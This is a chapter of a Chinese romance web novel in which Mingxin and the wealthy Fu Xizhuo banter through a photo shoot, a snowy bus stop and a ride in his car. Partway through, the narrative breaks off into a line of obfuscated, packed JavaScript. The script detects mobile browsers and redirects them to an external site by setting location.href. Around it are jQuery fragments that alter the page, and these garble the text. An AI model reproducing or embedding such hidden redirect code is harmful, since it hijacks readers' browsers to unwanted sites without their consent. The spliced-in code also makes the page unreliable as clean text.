铭心的眼眶湿了,有点恼。
她厌恶他对她这种超出界限的围猎。
因为她知道,此刻身体上的接近和触碰,都不是出于渴望亲昵的心理动机,而只是一种纯粹坏心的挑逗。
——她曾经毁了他的生活,如今他要来毁掉她的了。
但是呢……
又不能报警抓他。
真的好烦。
委屈的眼泪一旦出来,就跟开了闸似的,想往回收反而流得更快。眼看着要顺着自个儿下巴滴到他胸口了,铭心一抬手,全给抹他领带上了。
领带并不是常见的款式,看着像设计师款,按照他的调性大概又是“独一无二”“全球只有一件”“意大利手工匠人制造”吧。搪磁蓝的背景上间隔印着展翅欲飞的白鹤,被眼泪一浸,那蓝色更深了,衬得她皮肤雪白。
傅西灼盯着她瞧,说不清是觉得荒谬还是看起来好笑,轻扬了半边嘴角,手指一提,领带和她的手腕之间立刻空出了不小的缝隙。
铭心把手随便一抽,出来了。
“……”
原来他绑得很松。
死结是障眼法?
铭心睁大眼睛瞪他:“好笑吗?”
“好哭。”
“……”心里很想咬他掐他拽他头发。
但是忍住了。
她是说话算数且工作认真的人。
“拍吧,就按照第一个姿势,牵手。”
说完她擦干眼泪,设置好了相机,没等他同意就抓了他手。跟小时候往兜里藏糖果似的把十指相扣的两只手揣进他的大衣口袋里。
一进口袋,她的手立即松开。
然而照片上是看不出来的。反而还显着挺有情境感——冬天的大街上男生不总是会把女友的手放进自己口袋里取暖吗?
连拍了八张,铭心问他选哪张,问完了又自己选定:“这张吧这张我最好看。”
“都决定好了再来问我意见的目的是?”
铭心一愣,决定听听他的:“……那你有什么意见?”
“有。”
“出去吧。”管他有没有的,有也不让提。打印了一张纸质版捏在手里,铭心示意他去开帘子。
“原本有两个,怕你再哭所以就免了,但为了公平起见,一个意见换一个问题,我宽宏大量,就只问一个问题——”
“说什么呢絮絮叨叨的……”铭心打断他,“问吧问完了赶紧走。”
“喜欢喝焦糖玛奇朵却为了耍帅买意式浓缩的。
“那个装货小子。”
铭心:你到底要给人家起多少外号……
“——在单恋你吗?”
手一紧,照片的边角划破了手心,一阵尖细的疼痛。
铭心把照片放进口袋,稳了稳气息,抬眼道:“涉及私人领域的不回答,不过你有喜欢的答案吗?有的话可以给个方向,我说给你听。”
傅西灼面无表情地比了个×。
“不是单向。”他不显露自己的心思那铭心就猜着说。
他的手放下来,不声不响攥成拳。
“是双向。”
铭心说完,顿了顿,问:“你是想听这种吗?”
傅西灼的脸瞬间冷下来。
“重新说。”
……看来不满意这个答案啊。
那没办法喽,她就是想让他不满意来着。
“单向的有你一个就够了吧?你不是在单方面讨厌我吗,毕竟……”铭心扯出个甜笑来,“我反正不讨厌你。”
“哦。喜欢我?”他回问。
话里是含着笑的,眼神却没有任何笑意,风雨欲来的前兆,铭心知道。
她再接再厉,提起他莫名闯入的那个录音。
“看你因为有人不喜欢你产生了很多怨言,那我就喜欢你一下好了。”
她用很轻松的语调,调皮地眨一只眼。
傅西灼这回是真气笑了,压着嗓子,眼角那颗小小的泪痣都抖了一下。
“既然喜欢,”他要求她,“那你做出点实际行动看看。”
铭心是光准备了嘴皮子功夫,行动当然还没有。
他自己的行动倒是很快,铭心都赶不上了。
他一个劲儿地走,她锲而不舍地跟。
到一个拐角,他停下来。
铭心只顾着看手机,林纵给她发短信说先回去加班了,她正打着字回复呢,没料想他突然就不走了。脑袋撞到他胸上。
“……”从胸膛的起伏感知到一点怒气,铭心抬眼,立刻被他的视线捕住。
“我们同路?”
是同路,但这个理由说出来他不一定信,而且还会嗤之以鼻。
铭心指了指他手里,添一条事实证据:“有我的一杯,你绑架了我的咖啡。”
傅西灼这才舒缓了眉,低下眼,转动着看了眼标签:“喝哪个?”
不会这才反应过来拿走了她的咖啡吧……铭心腹诽。
下回直接给他手上拎十斤铁算了,反正也不觉得沉也意识不到是什么。
两杯都是她喜欢的:“都行,随便给一个吧。”
手一递,全给了她,他又转身,长腿一迈,一点不等她。
走了几步,再停下来,已经微微不爽:“还要跟?”
是哈,咖啡已经还给她了,那她的理由就不成立了。
想了想,干脆实话实说。
“虽然你可能不相信,”铭心往他走的方向指了指,“但我要去那边的公交站牌等车,现在的路线是最近的。”
“随你便。”
依旧没好气。步调却放慢了许多。
两个人肩并着肩走,铭心侧过脸打探他生气原因:“是因为我牵了你手?”
收到了一个“你在说什么”的无语眼神。
“没错吧?”她很确信自己的直觉。“所以你从在小屋里就开始生气,因为不想被我碰。”
“我已经尽量在避免了,我不是立刻就松开了嘛,又没有一直牵。而且照片拍出来的效果也很好。”
完全是达到了事半功倍的效果,铭心忍不住在心里大赞自己的聪明才智。
“牵了吗?”他冷笑一声,“没感觉。”
又说:“的确没有一直牵,短到我以为我手上抹了毒药超过五秒会出大事呢。”
分不清他这是愿意还是不愿意,铭心干脆只关注成品:“照片会发在哪里?”
“连占便宜都这么没魄力。”
“确认过了会给我们脸打码是吧?”
“冯岚的账号。会打。你有没有在听我说话?”
听了啊,但是没听懂。
真的完全没懂他生气的点。
又说时间短,又嫌她占便宜,还嫌她没魄力。
那到底是想要她牵还是不想?
静静想了会儿。
“……原来你觉得我占了你便宜啊。”
经过一番头脑分析,铭心靠出色的信息抓取能力找到了他生气的底层逻辑。
“但这种东西都是互相的吧?要是照你这个逻辑的话你也占我便宜了啊。”
他一愣,似是气笑了。
“手比冰块还凉捂都捂不热,你说是谁更吃亏?”
“那你捂得时间不够久呗。”手凉是我的错吗?
“……那是谁先松开的?”他闭了闭眼,仿佛忍了极大的无语。
“不松,不松你能愿意握着一个冰块吗?别哪天感冒了跑来说是跟我碰了下手碰的呢,赖上了还。”
铭心觉得自己从未这么伶牙俐齿过,看他表情,似乎她吵赢了。
傅西灼默声不语。
“……行吧。”周围一下都安静下来,心也跟着静了不少,铭心想了想,她方才那句话不太好,有种事情还没发生她就给人扣帽子的感觉。
手上两杯饮料往地上一放,腾出手来。
她起身,慢慢地轻轻地,在他肩上捋了几下。
像在给一只小狗梳毛。
“……你这是,在干什么。”他的声音从牙齿里挤出来。
铭心不为所动:“别生气了,我买暖手宝给你。”
过去他真正生气的时候很少,在铭心看来种种张牙舞爪也只是不同程度的撒娇手段而已。就像现在这样顺顺毛,是她从前安慰他的习惯性动作,适用时间是傅西灼心情不好的时候,技能时长是八秒。
一、二、三、四、……七……她在心里默数着。
八秒一过,手准时离开。
肩膀上湿湿一片。
她手凉,手心温度跟杯壁差不多,以至于根本没留意到上面沾着的水珠。
傅西灼吸了一口气,静静地看住她。
“你现在——”
“……”
“是在拿我十万块的衣服、”
“……”
“当抹布吗?”
危险!危险!
铭心感知到暴风雨前的宁静,迅速拾起地上的咖啡——速度堪比游戏里捡道具的小人。
然后哒哒哒地,一路跑到不远处的公交站。
……傅西灼也像游戏里的大boss一样,隔着老远向她发射死亡眼神光波。
又不能走,铭心往长椅最边上挪了挪,企图离他远点。
隔着半条长椅的距离,她好心提醒:“上回你都晕得快吐了这回还要坐公交?”
“我是受虐狂。”
铭心一口咖啡险些喷出来。
哇还真的是赢不了这种人……张口就是胡来。
“看你那衣服挺金贵的,我也不是喜欢耍赖的人,你回去看看干了以后是什么情况,不行的话我给你赔偿。”
“你有多少钱?花钱这么大手大脚。”他嗤了声。
难不成我自己想破财啊?还不是你一直跟个鬼影似的搞得人良心怪不安的?
铭心无语:“不想要钱那你跟着我干嘛?”
“想要。”他问,“什么时候赔?”
“改天。”
“改天是什么天。”他对着她眼睛逼问:“哪天?几点?什么地方?我来接你?哪天?”
“……”铭心被他问懵了。
“就……下次再碰到的话,我请你吃饭。”
“开口闭口就是下次。”很不信也很不屑地,他扯唇,“都不知道有没有下次,我怎么信你?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315360|198943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雪开始下了,也有点像雨,比雪要重,打到地上有啪嗒声。
公交车到站。
铭心鼓着一口气奋力跑到车门那。
脚已经踏进去一只,又突然顿住,撤回来,一直等到公交车从眼前开走,她才转身,以同样的速度跑了回来。
一来二去身上淋得透透的。
傅西灼蹙眉看着她这番操作,吐了句真话:“傻了?”
不知什么时候挪动了屁股,他已经坐在她刚刚坐过的位置,评她:“上就上下就下,愣那里不动是很爱淋雨?”
铭心坐在隔他一个人的位置,用力晃头,把高马尾上的水珠“不小心”地甩在他身上。“我故意的。”她说,“故意不上车的。”
“傻。”他又说了句。
“不问我为什么?”
“为什么。”他很听话。
铭心坐过去,把那一人的空间挤没了,“想让你相信一下,我说的下次。”
“有什么关联。”依旧没好气,不看她。
“有啊。”铭心弯下一点身子,低头,找他眼睛,看住了,“不想走的话说明想见你,自然而然就会有下次见面吧?”
“想见我?”他勾唇,以一副全然不信且由她胡说的姿态。
“什么时候?”
铭心望望天,很深沉的灰色,同时闻到了已经到来的,雨水的气味。
还以为是雨夹雪之类,现在完全下成雨了。
“下雨天,像现在这样的天气,偶尔想跟你一起看雨。”
刚煽情完,傅西灼冷冷道:“别想让我给你当司机。”
果然这回他也是开车来的。
兵不厌诈,铭心笑问:“车在哪?”
车里很暖和,明显暖气已经开了好一会儿,铭心对着窗外夸这车居然连暖气也能远程控制,傅西灼只说:“因为花了足够的钱。”
铭心回答他了,以穷人的沉默。
他不进来,偏头指了指她在的后座,说后面袋子里有干净的衣服,让她换。
又去前面,用车罩盖住了挡风玻璃。
铭心也没扭捏,在他隐蔽性极好的贵车里脱了自己的衣服换上他的。换好了就降下车窗:“有伞吗?我出去,然后你换。”
“不用下车,换到前座去。”
直接换?“我身手比较一般,”铭心有点担忧,“会把你车踩脏的。”
“不要紧。”
“哦,好。”
铭心在副驾驶位上,听到他坐到后座,锁了车门,然后就是衣服的细微窸窣声。总体换得很安静。
不经意间抬眼,从后视镜里瞥到他。
的上半身。
铭心没忍住欣赏了会儿,在他抬眼的刹那才赶忙把眼皮垂下去。
幸好反应快。他应该……没发现吧?
衣服换好了,他说需要等人,十分钟后才能走。
铭心“嗯”了声。
她就是个蹭车的,他其实不用跟她报备。
等待的时间有点难熬。
从前在一起时,不说话的时候他们就自己干自己的事,待在一个空间里也很舒服。这会儿却弥漫起淡淡的尴尬,铭心不得不找话题聊。
唉,早知道不多看那几眼了,心都乱飞了。
傅西灼好像对林纵格外感兴趣,一聊到她的工作,他就先打听模特通常都干什么活儿。
基本上就是练手或者参考啊。铭心也没往细了说,但就是说得很粗,他照样讥讽了林纵是靠身体赚钱的“不正经人”。
她让他别有职业歧视,他就说他是对人不对事。既然是单纯针对林纵,那她也没什么好劝的了,人有讨厌另一个人的权利。
过了会儿,他又关心起林纵的时薪。
这铭心可就得说道说道了:“你又不缺钱,问这个干嘛?”
“缺呢。”吊儿郎当的一句。
“……”
铭心觉得方圆八里的火车都让他给跑完了,可真能胡诌。
没来得及让富少别卖穷,从外面,突然有人敲窗。车窗降下来,是一张男人的脸。
俩人互相都不认识,他先是一愣,随后对铭心摆了个笑脸,就朝驾驶位上喊:“帮我一下呗,我力气不够。”
傅西灼下车给他拿了什么东西,回来时身上又沾上潮湿的雨水气味。
“还有干衣服吗?”铭心心肠好,担心他感冒。
“有。不过,”他的脸在后视镜里出现,看着她,“你盯着呢,我怎么换?”
“我不看就行了呗。”铭心把手横过来,用修长手指遮挡窄窄的后视镜。
这么一番努力下来,却听见他笑了声。
“刚才怎么不挡?”
“我刚刚忘了。”铭心藏了自己的私心。
“所以都看到了吧?”
“什么看到……”
后座又传来衣料摩擦的声响,几秒后停了。听着像是换好了。铭心把手缓缓从后视镜滑下来,看到他的眼睛。
“从雇主的角度考量——”
视线相触,他突然用商量的口吻同她问。
“我的身体,你觉得能买吗?”